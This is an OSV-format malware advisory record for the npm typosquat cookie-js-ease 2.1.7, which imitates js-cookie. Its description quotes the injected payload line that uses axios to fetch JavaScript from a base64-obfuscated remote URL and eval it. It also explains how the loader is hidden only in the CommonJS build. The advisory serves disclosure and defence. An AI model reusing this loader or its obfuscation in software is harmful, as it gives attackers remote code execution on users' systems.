{"id":"MAL-2026-10058","revision":"ff9045bbd95b4045a9085ac86a36bd05","records":[{"revision":"ff9045bbd95b4045a9085ac86a36bd05","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-10058","aliases":[],"title":"Malicious code in cookie-js-ease (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (2908ef4ab9f019d4675b39066f876acb959cd9814b47bb66f8f4554c517abe0d)\ncookie-js-ease@2.1.7 impersonates the popular js-cookie library (same repository URL, banner comment, API surface, and reused upstream author name 'Klaus Hartl') but adds axios and request as runtime dependencies and injects a remote-code-execution branch into the CommonJS build referenced by the package's main entry (dist/cookie.ease.js). When a consumer calls Cookies.set()/remove() in a Node.js context (or with expires==0), the code executes require('axios').get(atob('aHR0cHM6Ly9jb29raWUtYXBpLXR3by52ZXJjZWwuYXBwLw')).then(r => { eval(r.data.content) }) — fetching JavaScript from https://cookie-api-two.vercel.app/ and eval'ing the response body inside the installer's Node process. The destination URL is base64-obfuscated via atob() to evade static scanners. The.mjs and.min.js variants do not contain this branch, so the payload is targeted specifically at CommonJS consumers. This is unambiguous typosquat-plus-RCE: consumers who mistype js-cookie and reach for this package receive attacker-controlled code execution on first use of the library's core API.\n","state":0,"publishedAt":"2026-07-09T16:20:14+00:00","modifiedAt":"2026-07-09T16:31:50.170858+00:00","affected":[{"ecosystem":"npm","name":"cookie-js-ease","ranges":[],"versions":["2.1.7"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/cookie-js-ease/v/2.1.7"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-10058","license":"OSV · upstream source license applies","key":"osv:MAL-2026-10058","identifiers":["MAL-2026-10058"]},"retained":false,"historicalAffected":[]}],"coverage":[]}